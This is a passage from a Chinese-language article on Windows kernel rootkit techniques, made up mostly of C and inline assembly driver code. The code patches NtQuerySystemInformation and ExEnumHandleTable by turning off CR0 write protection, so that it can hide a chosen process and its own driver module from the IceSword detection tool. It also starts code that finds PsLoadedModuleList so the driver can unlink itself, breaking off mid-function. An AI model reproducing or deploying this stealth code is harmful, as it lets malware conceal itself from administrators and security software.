120. BOOL FilterCallback (
121. DWORD HANDLE_TALBE_ENTRY ,
122. DWORD PID ,
123. PVOID Param )
124. {
125.
126. if ( PID != ( DWORD ) ProtectID ) //判断是否是我们要隐藏的进程
127. {
128. return OldCallback (
129. HANDLE_TALBE_ENTRY ,
130. PID ,
131. Param );
132. }
133. else
134. {
135. return FALSE ; //是的话直接返回
136. }
137. }
138.
139.
140.
141. VOID NewExEnumHandleTable (
142. PULONG HandleTable ,
143. PVOID Callback ,
144. PVOID Param ,
145. PHANDLE Handle OPTIONAL )
146. {
147.
148. OldCallback = Callback ; //把Callback参数给OldCallback进行保留
149.
150. Callback = FilterCallback ; //用FilterCallback替换调原来的Callback
151.
152. _asm //还原
153. {
154. pushad
155. mov edi , OldExEnumHandleTable
156. mov eax , dword ptr ResumCodeExEnumHandleTable [ 0 ]
157. mov [ edi ], eax
158. mov ax , word ptr ResumCodeExEnumHandleTable [ 4 ]
159. mov [ edi + 4 ], ax
160. popad
161. }
162.
163. OldExEnumHandleTable (
164. HandleTable ,
165. Callback ,
166. Param ,
167. Handle OPTIONAL );
168. _asm //替换
169. {
170. pushad
171. mov edi , OldExEnumHandleTable
172. mov eax , dword ptr CrackCodeExEnumHandleTable [ 0 ]
173. mov [ edi ], eax
174. mov ax , word ptr CrackCodeExEnumHandleTable [ 4 ]
175. mov [ edi + 4 ], ax
176. popad
177. }
178. return ;
179. }
180.
181. NTSTATUS PatchExEnumHandleTable ()
182. {
183. NTSTATUS Status ;
184.
185. OldExEnumHandleTable = ( EXENUMHANDLETABLE ) GetFunctionAddr ( L "ExEnumHandleTable" );
186.
187. if ( OldExEnumHandleTable == NULL )
188. {
189. DbgPrint ( "Get ExEnumHandleTable Addr Error!!" );
190. return STATUS_DEVICE_CONFIGURATION_ERROR ;
191. }
192.
193. _asm //关中断
194. {
195. CLI
196. MOV EAX , CR0
197. AND EAX , NOT 10000H
198. MOV CR0 , EAX
199. }
200. _asm
201. {
202. pushad
203. //获取ExEnumHandleTable函数的地址并保留该函数的起始六个字节
204. mov edi , OldExEnumHandleTable
205. mov eax , [ edi ]
206. mov dword ptr ResumCodeExEnumHandleTable [ 0 ], eax
207. mov ax , [ edi + 4 ]
208. mov word ptr ResumCodeExEnumHandleTable [ 4 ], ax
209.
210. //构造要替换的代码,使得系统调用该函数时跳到我们构造的NewExEnumHandleTable去执行
211. mov byte ptr CrackCodeExEnumHandleTable [ 0 ], 0x68
212. lea edi , NewExEnumHandleTable
213. mov dword ptr CrackCodeExEnumHandleTable [ 1 ], edi
214. mov byte ptr CrackCodeExEnumHandleTable [ 5 ], 0xC3
215.
216. //把构造好的代码进心替换
217. mov edi , OldExEnumHandleTable
218. , mov eax , dword ptr CrackCodeExEnumHandleTable [ 0 ]
219. mov dword ptr [ edi ], eax
220. mov ax , word ptr CrackCodeExEnumHandleTable [ 4 ]
221. mov word ptr [ edi + 4 ], ax
222. popad
223. }
224.
225. _asm //开中断
226. {
227. MOV EAX , CR0
228. OR EAX , 10000H
229. MOV CR0 , EAX
230. STI
231. }
232.
233. Status = RepairNtosFile (
234. ( DWORD ) OldExEnumHandleTable ,
235. ( DWORD )(& CrackCodeExEnumHandleTable ) );
236.
237. return Status ;
238. }
239.
240. NTSTATUS NewNtQuerySystemInformation (
241.
242. IN ULONG SystemInformationClass ,
243. OUT PVOID SystemInformation ,
244. IN ULONG SystemInformationLength ,
245. OUT PULONG ReturnLength OPTIONAL )
246. {
247. NTSTATUS Status ;
248. DWORD Bprocess ;
249.
250. _asm
251. {
252. pushad
253. mov edi , OldNtQuerySystemInformation
254. mov eax , dword ptr ResumCodeNtQuerySystemInformation [ 0 ]
255. mov [ edi ], eax
256. mov ax , word ptr ResumCodeNtQuerySystemInformation [ 4 ]
257. mov [ edi + 4 ], ax
258. popad
259. }
260.
261. Status = OldNtQuerySystemInformation (
262. SystemInformationClass ,
263. SystemInformation ,
264. SystemInformationLength ,
265. ReturnLength OPTIONAL );
266. _asm
267. {
268. pushad
269. mov edi , OldNtQuerySystemInformation
270. mov eax , dword ptr CrackCodeNtQuerySystemInformation [ 0 ]
271. mov [ edi ], eax
272. mov ax , word ptr CrackCodeNtQuerySystemInformation [ 4 ]
273. mov [ edi + 4 ], ax
274. popad
275. }
276.
277. if ( Status != STATUS_SUCCESS || SystemInformationClass != 5 )
278. {
279. return Status ;
280. }
281.
282. _asm
283. {
284. pushad
285.
286. mov ecx , ProtectID
287. mov edi , SystemInformation
288.
289. ProcessListNEnd :
290. mov Bprocess , edi
291. mov eax , [ edi ]
292. test eax , eax
293. jz ProcessListEnd
294. add edi , eax
295.
296. mov eax , [ edi + 0x44 ]
297. cmp eax , ecx
298. jz FindOut
299. jmp ProcessListNEnd
300. FindOut :
301. mov ebx , [ edi ]
302. test ebx , ebx
303. jz listend
304. mov eax , Bprocess
305. mov edx , [ eax ]
306. add ebx , edx
307. mov [ eax ], ebx
308. jmp hideOK
309.
310. listend :
311. mov eax , Bprocess
312. mov [ eax ], 0
313. hideOK :
314.
315. ProcessListEnd :
316.
317. popad
318. }
319. return Status ;
320. }
321.
322.
323.
324.
325. NTSTATUS PatchNtQuerySystemInformation ()
326. {
327. NTSTATUS Status ;
328.
329. OldNtQuerySystemInformation = ( NTQUERYSYSTEMINFORMATION ) GetFunctionAddr ( L "NtQuerySystemInformation" );
330.
331. if ( OldNtQuerySystemInformation == NULL )
332. {
333. DbgPrint ( "Get NtQuerySystemInformation Addr Error!!" );
334. return STATUS_DEVICE_CONFIGURATION_ERROR ;
335. }
336.
337. _asm //关中断
338. {
339. CLI
340. MOV EAX , CR0
341. AND EAX , NOT 10000H
342. MOV CR0 , EAX
343. }
344. _asm
345. {
346. pushad
347. //获取 NtQuerySystemInformation 函数的地址并保留该函数的起始六个字节
348. mov edi , OldNtQuerySystemInformation
349. mov eax , [ edi ]
350. mov dword ptr ResumCodeNtQuerySystemInformation [ 0 ], eax
351. mov ax , [ edi + 4 ]
352. mov word ptr ResumCodeNtQuerySystemInformation [ 4 ], ax
353.
354. //构造要替换的代码,使得系统调用该函数时跳到我们构造的NewNtQuerySystemInformation去执行
355. mov byte ptr CrackCodeNtQuerySystemInformation [ 0 ], 0x68
356. lea edi , NewNtQuerySystemInformation
357. mov dword ptr CrackCodeNtQuerySystemInformation [ 1 ], edi
358. mov byte ptr CrackCodeNtQuerySystemInformation [ 5 ], 0xC3
359.
360. //把构造好的代码进心替换
361. mov edi , OldNtQuerySystemInformation
362. mov eax , dword ptr CrackCodeNtQuerySystemInformation [ 0 ]
363. mov dword ptr [ edi ], eax
364. mov ax , word ptr CrackCodeNtQuerySystemInformation [ 4 ]
365. mov word ptr [ edi + 4 ], ax
366. popad
367. }
368. _asm //开中断
369. {
370. MOV EAX , CR0
371. OR EAX , 10000H
372. MOV CR0 , EAX
373. STI
374. }
375. Status = RepairNtosFile (
376. ( DWORD ) OldNtQuerySystemInformation ,
377. ( DWORD )(& CrackCodeNtQuerySystemInformation ) );
378.
379. return Status ;
380.
381. }
四、隐藏内核模块
对于内核模块,我原以为IS会通过获取内核变量PsLoadedModuleList,然后在通过这个来遍历所有的内核模块。假设此时获得结果 1 。通过调用函数NtQuerySystemInformation,参数SystemModuleInformation,假设此时获得结果 2 。再把结果 1 与结果 2 进行比较,这样就会发现被隐藏的模块。但事实证明我想的太复杂了。而IS只进行了获取结果 2 的过程。而没有去执行获取结果 1 的过程。
下面的代码可以在IS下隐藏自己的内核模块,主要思路是,首先获取一个自己这个模块中任意函数的地址,把该地址给DriverAddr,利用 DriverAddr在上述的结果 2 中定位,通过DriverAddr肯定会大于自己这个模块的起始地址并且小于自己这个模块的结束地址来定位。
代码
1. DWORD DriverAddr ;
2. unsigned char ResumCodeNtQuerySystemInformation [ 6 ];
3. unsigned char CrackCodeNtQuerySystemInformation [ 6 ];
4. typedef NTSTATUS (* NTQUERYSYSTEMINFORMATION )(
5.
6. IN ULONG SystemInformationClass ,
7. OUT PVOID SystemInformation ,
8. IN ULONG SystemInformationLength ,
9. OUT PULONG ReturnLength OPTIONAL );
10.
11. NTQUERYSYSTEMINFORMATION OldNtQuerySystemInformation ;
12.
13. NTSTATUS NewNtQuerySystemInformation (
14.
15. IN ULONG SystemInformationClass ,
16. OUT PVOID SystemInformation ,
17. IN ULONG SystemInformationLength ,
18. OUT PULONG ReturnLength OPTIONAL )
19. {
20. NTSTATUS Status ;
21.
22. _asm //还原
23. {
24. pushad
25. mov edi , OldNtQuerySystemInformation
26. mov eax , dword ptr ResumCodeNtQuerySystemInformation [ 0 ]
27. mov [ edi ], eax
28. mov ax , word ptr ResumCodeNtQuerySystemInformation [ 4 ]
29. mov [ edi + 4 ], ax
30. popad
31. }
32.
33. Status = ZwQuerySystemInformation (
34. SystemInformationClass ,
35. SystemInformation ,
36. SystemInformationLength ,
37. ReturnLength OPTIONAL );
38. _asm //替换
39. {
40. pushad
41. mov edi , OldNtQuerySystemInformation
42. mov eax , dword ptr CrackCodeNtQuerySystemInformation [ 0 ]
43. mov [ edi ], eax
44. mov ax , word ptr CrackCodeNtQuerySystemInformation [ 4 ]
45. mov [ edi + 4 ], ax
46. popad
47. }
48.
49. if ( Status != STATUS_SUCCESS || SystemInformationClass != 0xb ) //是否是获取模块信息
50. {
51. return Status ;
52. }
53.
54. _asm
55. {
56. pushad
57.
58. mov edi , SystemInformation
59. mov ecx , [ edi ] //eax=模块数目
60. add edi , 0x4
61.
62. NextModuleInfo :
63.
64. mov eax , [ edi + 0x8 ]
65. mov edx , [ edi + 0xC ]
66.
67. add edx , eax
68. mov ebx , DriverAddr
69.
70. cmp ebx , eax
71. ja FirstMatch
72. dec ecx
73. test ecx , ecx
74. jz ArrayEnd
75.
76. add edi , 0x11c
77. jmp NextModuleInfo
78.
79. FirstMatch :
80. cmp ebx , edx
81. jb SecMatch //找到的话则跳去把该模块以后的模块数据前移已覆盖掉此模块
82.
83. dec ecx
84. test ecx , ecx
85. jz ArrayEnd
86. add edi , 0x11c
87. jmp NextModuleInfo
88. SecMatch :
89. dec ecx
90. xor eax , eax
91. mov ax , 0x11c
92. mul cx
93. xor ecx , ecx
94. mov ecx , eax
95. mov esi , edi
96. add esi , 0x11c
97. rep movsb
98. mov edi , SystemInformation
99. mov eax , [ edi ]
100. dec eax
101. mov [ edi ], eax //完成
102. ArrayEnd :
103. popad
104. }
105. return Status ;
106. }
107.
108. NTSTATUS PatchNtQuerySystemInformation ()
109. {
110. NTSTATUS Status ;
111.
112. OldNtQuerySystemInformation =( NTQUERYSYSTEMINFORMATION )( GetFunctionAddr ( L "NtQuerySystemInformation" ) );
113.
114. if ( OldNtQuerySystemInformation == NULL )
115. {
116. return STATUS_DEVICE_CONFIGURATION_ERROR ;
117. }
118.
119. _asm //关中断
120. {
121. CLI
122. MOV EAX , CR0
123. AND EAX , NOT 10000H
124. MOV CR0 , EAX
125. }
126.
127. _asm
128. {
129. pushad
130. //获取 NtQuerySystemInformation 函数的地址并保留该函数的起始六个字节
131.
132. lea eax , NewNtQuerySystemInformation
133. mov DriverAddr , eax //把NewNtQuerySystemInformation函数地址给DriverAddr
134.
135. mov edi , OldNtQuerySystemInformation
136. mov eax , [ edi ]
137. mov dword ptr ResumCodeNtQuerySystemInformation [ 0 ], eax
138. mov ax , [ edi + 4 ]
139. mov word ptr ResumCodeNtQuerySystemInformation [ 4 ], ax
140.
141. //构造要替换的代码,使得系统调用该函数时跳到我们构造的NewNtQuerySystemInformation去执行
142. mov byte ptr CrackCodeNtQuerySystemInformation [ 0 ], 0x68
143. lea edi , NewNtQuerySystemInformation
144. mov dword ptr CrackCodeNtQuerySystemInformation [ 1 ], edi
145. mov byte ptr CrackCodeNtQuerySystemInformation [ 5 ], 0xC3
146.
147. //把构造好的代码进行替换
148. mov edi , OldNtQuerySystemInformation
149. mov eax , dword ptr CrackCodeNtQuerySystemInformation [ 0 ]
150. mov dword ptr [ edi ], eax
151. mov ax , word ptr CrackCodeNtQuerySystemInformation [ 4 ]
152. mov word ptr [ edi + 4 ], ax
153. popad
154. }
155.
156. _asm //开中断
157. {
158. MOV EAX , CR0
159. OR EAX , 10000H
160. MOV CR0 , EAX
161. STI
162. }
163.
164. Status = RepairNtosFile (
165. ( DWORD ) OldNtQuerySystemInformation ,
166. ( DWORD )& CrackCodeNtQuerySystemInformation [ 0 ] );
167. return Status ;
168.
169. }
你可能发现上面这段代码hook的也是NtQuerySystemInformation函数,而在隐藏进程中不是已经hook了 NtQuerySystemInformation函数,这样不是造成重合了。在实际操作中,你只要hook一次 NtQuerySystemInformation函数,然后在自己定义NewNtQuerySystemInformation中增加几个选择项就是了。我这样写是为了便于理解,使它们每个部分自成一体,如果按实际代码搬出来的话,显得太支离破碎(支离破碎的支到底是这个“支”还是这个“肢”??)了。
不知道pjf看到这里之后会不会想着给IS升级,增加IS检测隐藏内核模块的功能,因此下面一并给出了如何在 PsLoadedModuleList链表删除自身的代码,关于如何获取PsLoadedModuleList这个内核变量的地址我就不说了,不了解的请参看TK的《获取Windows 系统的内核变量》。PsLoadedModuleList所指向的是结构是_MODULE_ENTRY,微软没有给出定义,但是uzen_op (fuzen_op@yahoo . com)在FU_Rootkit2 .0 的资源中给出了MODULE_ENTRY的结构定义如下:
代码
1. typedef struct _MODULE_ENTRY {
2. LIST_ENTRY le_mod ;
3. DWORD unknown [ 4 ];
4. DWORD base ;
5. DWORD driver_start ;
6. DWORD unk1 ;
7. UNICODE_STRING driver_Path ;
8. UNICODE_STRING driver_Name ;
9. } MODULE_ENTRY , * PMODULE_ENTRY ;
进一步分析后发现上述结构中的unk1成员的值其实就是该模块文件的大小 . 从新对该结构定义如下 :
代码
1. typedef struct _MODULE_ENTRY {
2. LIST_ENTRY le_mod ;
3. DWORD unknown [ 4 ];
4. DWORD base ;
5. DWORD driver_start ;
6. DWORD Size ;
7. UNICODE_STRING driver_Path ;
8. UNICODE_STRING driver_Name ;
9. } MODULE_ENTRY , * PMODULE_ENTRY ;
PsLoadedModuleList指向的是一个带表头的双向链表,该链表的表头所指向的第一个MODULE_ENTRY的就是 ntoskrnl . exe,此时它的base成员的值就是ntoskrnl . exe在内存中的起始地址 . 这是就可以顺手取一下NtoskrnlBase的值。
有一点要注意的是,如果DriverEntry () 例程未返回STATUS_SUCCESS之前。系统不会把你加入到 PsLoadedModuleList链表中,此时你在 PsLoadedModuleList中是找不到自己的。当然为了这个而写一个分发例程也行。我是在自己hook的那些系统函数中设了一个阀值,阀值初始值为“开”,这样系统调用这个函数时都会先检测阀值是否是“开”,是的话跑到 PsLoadedModuleList找一下我们的模块是否存在,存在的话说明DriverEntry () 已经返回成功,马上把自己从 PsLoadedModuleList链表中删除,然后把阀值设成“关”,这样系统下次调用这个函数时发现阀值是“关”的就不会傻乎乎的又跑到 PsLoadedModuleList中去搂一遍了。
代码
1. DWORD NtoskrnlBase = 0 ;
2. DWORD PsLoadedModuleListPtr = 0 ;
3.
4. typedef struct _MODULE_ENTRY {
5.
6. LIST_ENTRY le_mod ;
7. DWORD unknown [ 4 ];
8. DWORD base ;
9. DWORD driver_start ;
10. DWORD Size ;
11. UNICODE_STRING driver_Path ;
12. UNICODE_STRING driver_Name ;
13. } MODULE_ENTRY , * PMODULE_ENTRY ;
14.
15. NTSTATUS GetPsLoadedModuleListPtr ()
16. {
17. UNICODE_STRING UStrName ;
18. DWORD KdEnableDebuggerAddr ;
19. DWORD InitSystem = 0 ;
20. DWORD KdDebuggerDataBlock = 0 ;
21. PMODULE_ENTRY NtosModPtr ;
22. unsigned char * DebuggerDataBlockPtr ;
23. unsigned char * Sysinit ;
24. int i , j ;
25.
26. RtlInitUnicodeString (
27. & UStrName ,
28. L "KdEnableDebugger" );
29.
30. KdEnableDebuggerAddr =( DWORD ) MmGetSystemRoutineAddress ( & UStrName );
31.
32. if ( ! KdEnableDebuggerAddr )
33. {
34. return STATUS_DEVICE_CONFIGURATION_ERROR ;
35. }
36.
37. for ( i = 0 , Sysinit = ( unsigned char * ) KdEnableDebuggerAddr ; i < 0x50 ; i ++, Sysinit ++)
38. {
39. if ( (* Sysinit ) == 0xc6 && (*( Sysinit + 0x1 )) == 0x05 && (*( Sysinit + 0x6 )) == 0x01 && (*( Sysinit + 0x7 )) == 0xE8 )
40. {
41. _asm
42. {
43. pushad
44. mov edi , Sysinit
45. mov eax , [ edi + 0x8 ]
46. add edi , 0xC
47. add edi , eax
48. mov InitSystem , edi
49. popad
50. }
51. }
52. if ( InitSystem != 0 ) break ;
53.
54. }
55.
56. if ( InitSystem == 0 )
57. {
58. return STATUS_DEVICE_CONFIGURATION_ERROR ;
59. }
60.
61. for ( i = 0 , DebuggerDataBlockPtr = ( unsigned char * ) InitSystem ; i < 0x70 ; i ++, DebuggerDataBlockPtr ++)
62. {
63.
64. if ( *(( DWORD *) DebuggerDataBlockPtr ) == 0x4742444b )
65. {
66. DebuggerDataBlockPtr --;
67. DebuggerDataBlockPtr --;
68.
69. for ( j = 0 ; j < 0x10 ; j ++, DebuggerDataBlockPtr --)
70. {
71. if ( * DebuggerDataBlockPtr == 0x68 )
72. {
73. _asm
74. {
75. pushad
76. mov edi , DebuggerDataBlockPtr
77. inc edi
78. mov eax , [ edi ]
79. mov KdDebuggerDataBlock , eax
80. popad
81. }
82. break ;
83. }
84. }
85.
86. }
87.
88. if ( KdDebuggerDataBlock != 0 )
89. {
90. break ;
91. }
92. }
93.
94. if ( KdDebuggerDataBlock == 0 )
95. {
96. return STATUS_DEVICE_CONFIGURATION_ERROR ;
97. }
98.
99. _asm
100. {
101. pushad
102. mov edi , KdDebuggerDataBlock
103. mov eax , [ edi + 0x48 ]
104. mov PsLoadedModuleListPtr , eax
105. popad
106. }
107.
108. if ( PsLoadedModuleListPtr == 0 )
109. {
110. return STATUS_DEVICE_CONFIGURATION_ERROR ;
111. }
112.
113. //获取 Ntoskrnl 的起始地址
114. NtosModPtr = ( PMODULE_ENTRY ) PsLoadedModuleListPtr ;
115. NtosModPtr = ( PMODULE_ENTRY ) ( NtosModPtr -> le_mod . Flink );
116. NtoskrnlBase = ( DWORD ) ( NtosModPtr -> base );